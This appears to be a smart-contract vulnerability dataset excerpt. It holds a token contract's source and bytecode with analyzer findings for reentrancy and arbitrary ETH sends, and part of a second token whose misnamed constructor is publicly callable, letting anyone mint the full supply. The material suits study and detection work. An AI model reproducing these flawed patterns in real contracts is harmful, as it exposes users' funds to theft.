uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610386578063c3c8cd80146103a6578063c9567bf9146103bb578063db92dbb6146103d0578063dd62ed3e146103e5578063e8078d941461042b57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610347578063a985ceef1461036757600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601a81527f5a617020496e75207c20742e6d652f446578526f756c6574746500000000000060208201525b6040516101949190611bfc565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b54565b610440565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b14565b610457565b34801561021f57600080fd5b506101e56104c0565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb7565b6104d0565b005b34801561027257600080fd5b50610264610281366004611b7f565b610579565b34801561029257600080fd5b506101e56102a1366004611aa4565b6105f8565b3480156102b257600080fd5b5061026461061b565b3480156102c757600080fd5b506101e56102d6366004611aa4565b610648565b3480156102e757600080fd5b5061026461066a565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b506040805180820190915260068152655a4150494e5560d01b6020820152610187565b34801561035357600080fd5b506101bd610362366004611b54565b6106de565b34801561037357600080fd5b50601454600160a81b900460ff166101bd565b34801561039257600080fd5b506101e56103a1366004611aa4565b6106eb565b3480156103b257600080fd5b50610264610711565b3480156103c757600080fd5b50610264610747565b3480156103dc57600080fd5b506101e5610794565b3480156103f157600080fd5b506101e5610400366004611adc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043757600080fd5b506102646107ac565b600061044d338484610b5f565b5060015b92915050565b6000610464848484610c83565b6104b684336104b185604051806060016040528060288152602001611dd5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611226565b610b5f565b5060019392505050565b60006104cb30610648565b905090565b6011546001600160a01b0316336001600160a01b0316146104f057600080fd5b6033811061053d5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161053490611c4f565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056e565b6001600160a01b0381166000908152600660205260408120546104519042611d3f565b6011546001600160a01b0316336001600160a01b03161461063b57600080fd5b4761064581611260565b50565b6001600160a01b038116600090815260026020526040812054610451906112e5565b6000546001600160a01b031633146106945760405162461bcd60e51b815260040161053490611c4f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044d338484610c83565b6001600160a01b0381166000908152600660205260408120600101546104519042611d3f565b6011546001600160a01b0316336001600160a01b03161461073157600080fd5b600061073c30610648565b905061064581611369565b6000546001600160a01b031633146107715760405162461bcd60e51b815260040161053490611c4f565b6014805460ff60a01b1916600160a01b17905561078f426078611cf4565b601555565b6014546000906104cb906001600160a01b0316610648565b6000546001600160a01b031633146107d65760405162461bcd60e51b815260040161053490611c4f565b601454600160a01b900460ff16156108305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610534565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086d3082683635c9adc5dea00000610b5f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a657600080fd5b505afa1580156108ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108de9190611ac0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092657600080fd5b505afa15801561093a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095e9190611ac0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a657600080fd5b505af11580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de9190611ac0565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0e81610648565b600080610a236000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8657600080fd5b505af1158015610a9a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610abf9190611bcf565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2357600080fd5b505af1158015610b37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5b9190611b9b565b5050565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610534565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610534565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610534565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610534565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610534565b6000546001600160a01b03848116911614801590610dd757506000546001600160a01b03838116911614155b156111c957601454600160a81b900460ff1615610e57573360009081526006602052604090206002015460ff16610e5757604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8257506013546001600160a01b03838116911614155b8015610ea757506001600160a01b03821660009081526005602052604090205460ff16155b1561100b57601454600160a01b900460ff16610f055760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610534565b60066009556004600a55601454600160a81b900460ff1615610fd157426015541115610fd157601054811115610f3a57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fac5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610534565b610fb742602d611cf4565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100b57610fee42600f611cf4565b6001600160a01b0383166000908152600660205260409020600101555b600061101630610648565b601454909150600160b01b900460ff1615801561104157506014546001600160a01b03858116911614155b80156110565750601454600160a01b900460ff165b156111c757601454600160a81b900460ff16156110e3576001600160a01b03841660009081526006602052604090206001015442116110e35760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610534565b601454600160b81b900460ff161561114857600061110c600c548461150e90919063ffffffff16565b60145490915061113b9061113490859061112e906001600160a01b0316610648565b9061158d565b82906115ec565b90506111468161162e565b505b80156111b557600b5460145461117e916064916111789190611172906001600160a01b0316610648565b9061150e565b906115ec565b8111156111ac57600b546014546111a9916064916111789190611172906001600160a01b0316610648565b90505b6111b581611369565b4780156111c5576111c547611260565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120b57506001600160a01b03831660009081526005602052604090205460ff165b15611214575060005b6112208484848461169c565b50505050565b6000818484111561124a5760405162461bcd60e51b81526004016105349190611bfc565b5060006112578486611d3f565b95945050505050565b6011546001600160a01b03166108fc61127a8360026115ec565b6040518115909202916000818181858888f193505050501580156112a2573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112bd8360026115ec565b6040518115909202916000818181858888f19350505050158015610b5b573d6000803e3d6000fd5b600060075482111561134c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610534565b60006113566116ca565b905061136283826115ec565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113bf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141357600080fd5b505afa158015611427573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144b9190611ac0565b8160018151811061146c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114929130911684610b5f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cb908590600090869030904290600401611c84565b600060405180830381600087803b1580156114e557600080fd5b505af11580156114f9573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151d57506000610451565b60006115298385611d20565b9050826115368583611d0c565b146113625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610534565b60008061159a8385611cf4565b9050838110156113625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610534565b600061136283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ed565b600a808210156116405750600a611654565b602882111561165157506028611654565b50805b61165f81600261171b565b15611672578061166e81611d56565b9150505b611682600a61117883600661150e565b600955611695600a61117883600461150e565b600a555050565b806116a9576116a961175d565b6116b484848461178b565b8061122057611220600e54600955600f54600a55565b60008060006116d7611882565b90925090506116e682826115ec565b9250505090565b6000818361170e5760405162461bcd60e51b81526004016105349190611bfc565b5060006112578486611d0c565b600061136283836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c4565b60095415801561176d5750600a54155b1561177457565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179d876118f8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117cf9087611955565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117fe908661158d565b6001600160a01b03891660009081526002602052604090205561182081611997565b61182a84836119e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186f91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189e82826115ec565b8210156118bb57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e55760405162461bcd60e51b81526004016105349190611bfc565b506118f08385611d71565b949350505050565b60008060008060008060008060006119158a600954600a54611a05565b92509250925060006119256116ca565b905060008060006119388e878787611a54565b919e509c509a509598509396509194505050505091939550919395565b600061136283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611226565b60006119a16116ca565b905060006119af838361150e565b306000908152600260205260409020549091506119cc908261158d565b30600090815260026020526040902055505050565b6007546119ee9083611955565b6007556008546119fe908261158d565b6008555050565b6000808080611a196064611178898961150e565b90506000611a2c60646111788a8961150e565b90506000611a4482611a3e8b86611955565b90611955565b9992985090965090945050505050565b6000808080611a63888661150e565b90506000611a71888761150e565b90506000611a7f888861150e565b90506000611a9182611a3e8686611955565b939b939a50919850919650505050505050565b600060208284031215611ab5578081fd5b813561136281611db1565b600060208284031215611ad1578081fd5b815161136281611db1565b60008060408385031215611aee578081fd5b8235611af981611db1565b91506020830135611b0981611db1565b809150509250929050565b600080600060608486031215611b28578081fd5b8335611b3381611db1565b92506020840135611b4381611db1565b929592945050506040919091013590565b60008060408385031215611b66578182fd5b8235611b7181611db1565b946020939093013593505050565b600060208284031215611b90578081fd5b813561136281611dc6565b600060208284031215611bac578081fd5b815161136281611dc6565b600060208284031215611bc8578081fd5b5035919050565b600080600060608486031215611be3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2857858101830151858201604001528201611c0c565b81811115611c395783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd35784516001600160a01b031683529383019391830191600101611cae565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0757611d07611d85565b500190565b600082611d1b57611d1b611d9b565b500490565b6000816000190483118215151615611d3a57611d3a611d85565b500290565b600082821015611d5157611d51611d85565b500390565b6000600019821415611d6a57611d6a611d85565b5060010190565b600082611d8057611d80611d9b565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064557600080fd5b801515811461064557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208edb3888bbfd5933ac4b4ed3f63eb08bdc6a444fa73ce4fd258b0ed07bf847a664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,750 |
0xa8d7cea88fa4840c44d230fd346d07c828243a10
|
pragma solidity ^0.4.21 ;
contract FGRE_Portfolio_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " FGRE_Portfolio_I_883 " ;
string public symbol = " FGRE883I " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1579789427442530000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_I_metadata_line_1_____Caisse_Centrale_de_Reassurance_20580515 >
// < YUDQk3wcl09JG5imzMAar9iaS2FvL2ziH9c5dl88vkoYU89zP2rR8K9T174WA03Y >
// < 1E-018 limites [ 1E-018 ; 583308360,349711 ] >
// < 0x00000000000000000000000000000000000000000000000000000000037A0ED4 >
// < FGRE_Portfolio_I_metadata_line_2_____CCR_FGRE_Fonds_de_Garantie_des_Risques_lies_a_l_Epandage_des_Boues_d_Epuration_Urbaines_et_Industrielles_20580515 >
// < 3KnAoRDyNvOU3QdAHz24Fsr2T5sn9X2k0bYK58f2dCc45W2xN8t2L7UFOHUVowmn >
// < 1E-018 limites [ 583308360,349711 ; 14474986111,6764 ] >
// < 0x000000000000000000000000000000000000000000000000037A0ED456471373 >
// < FGRE_Portfolio_I_metadata_line_3_____SYDEME_20580515 >
// < ae9c4lfy8FZavqKMr6qOMN8Z8hw9szxRxuToWQyf8Sg3Cz3kWm7Uxrq5VjzYh50t >
// < 1E-018 limites [ 14474986111,6764 ; 116485338032,792 ] >
// < 0x00000000000000000000000000000000000000000000000564713732B64E852B >
// < FGRE_Portfolio_I_metadata_line_4_____REGIE_ECOTRI_MOSELLE_EST_20580515 >
// < iCMccCB5rSSDuVuG3sv6W8T3tUhR1591nCUp9sZi7R1SDGfnLYR5mE18U91qQbB1 >
// < 1E-018 limites [ 116485338032,792 ; 209932995521,122 ] >
// < 0x00000000000000000000000000000000000000000000002B64E852B4E34C5460 >
// < FGRE_Portfolio_I_metadata_line_5_____REGIE_CSM_CONFECTION_DES_SACS_MULTI_FLUX_20580515 >
// < m2ZNyF0u7U949W71xRD4kG6lzhCb0cwCNXK85o5P0vGDv71ywZ3iG41bBIkc6kR2 >
// < 1E-018 limites [ 209932995521,122 ; 211516755249,413 ] >
// < 0x00000000000000000000000000000000000000000000004E34C54604ECBCF485 >
// < FGRE_Portfolio_I_metadata_line_6_____REGIE_DSM_DISTRIBUTION_DES_SACS_MULTI_FLUX_20580515 >
// < 6B9jOLkxcovb71r03VmOan1jh1ZNdnm83LW2AbGz9gbhYQl6VXZ0EKDa4J5fu70Q >
// < 1E-018 limites [ 211516755249,413 ; 217233497687,824 ] >
// < 0x00000000000000000000000000000000000000000000004ECBCF48550ED00309 >
// < FGRE_Portfolio_I_metadata_line_7_____SEM_SYDEME_DEVELOPPEMENT_20580515 >
// < 0weKjfou5o7in70W6kpYO1j5EmM1lTP98FKDx075X1VlKO413q4mYM6sp50LNvBz >
// < 1E-018 limites [ 217233497687,824 ; 347409536125,431 ] >
// < 0x000000000000000000000000000000000000000000000050ED00309816B8E20D >
// < FGRE_Portfolio_I_metadata_line_8_____METHAVOS_SAS_20580515 >
// < hLWzVc3i6jrVK7VcG7xsHH6N9p9f4kB75KgF8v7WplglwKmMc5vyQ6M2XWk4C200 >
// < 1E-018 limites [ 347409536125,431 ; 514961961032,884 ] >
// < 0x0000000000000000000000000000000000000000000000816B8E20DBFD699807 >
// < FGRE_Portfolio_I_metadata_line_9_____SPIRAL_TRANS_SAS_20580515 >
// < EEw3tE0MUhhID9WJ808VL18h8vs62bly8OB60p7V4F2E8H11zxP3bW20Rd5G6k9N >
// < 1E-018 limites [ 514961961032,884 ; 515530143640,136 ] >
// < 0x0000000000000000000000000000000000000000000000BFD699807C00CC925C >
// < FGRE_Portfolio_I_metadata_line_10_____GROUPE_LINGENHELD_SA_20580515 >
// < S3au6E564xtyD00H7h4N3KflaT0Rva82U3gnEE482DvGjlpgijHm90YkfR94wLUV >
// < 1E-018 limites [ 515530143640,136 ; 538733364022,892 ] >
// < 0x0000000000000000000000000000000000000000000000C00CC925CC8B19E052 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_I_metadata_line_11_____SYDEME_OBS_DAO_20580515 >
// < 7316yu1I56G6rcGTWV0IYWXU7U7h7Mz8D9Pal6bJwawwNL8pk9MzZN2w90yGVPcX >
// < 1E-018 limites [ 538733364022,892 ; 540501557075,614 ] >
// < 0x0000000000000000000000000000000000000000000000C8B19E052C95A3ECBC >
// < FGRE_Portfolio_I_metadata_line_12_____REGIE_ECOTRI_MOSELLE_EST_OBS_DAO_20580515 >
// < InjbgG1SKvS7bHM4wlkDhspVhZYxCn2bRgFGk4SRU587YYpi03L7y90Y1D3GWjkb >
// < 1E-018 limites [ 540501557075,614 ; 543232351839,997 ] >
// < 0x0000000000000000000000000000000000000000000000C95A3ECBCCA5EAC970 >
// < FGRE_Portfolio_I_metadata_line_13_____REGIE_CSM_CONFECTION_DES_SACS_MULTI_FLUX_OBS_DAO_20580515 >
// < AXUg7FexC2j8Pd6YRv8z38ReZiXzCz33aaW7Eoq8Z41Uptp6Useby4iYecEcZC91 >
// < 1E-018 limites [ 543232351839,997 ; 557612521960,628 ] >
// < 0x0000000000000000000000000000000000000000000000CA5EAC970CFBA12F64 >
// < FGRE_Portfolio_I_metadata_line_14_____REGIE_DSM_DISTRIBUTION_DES_SACS_MULTI_FLUX_OBS_DAO_20580515 >
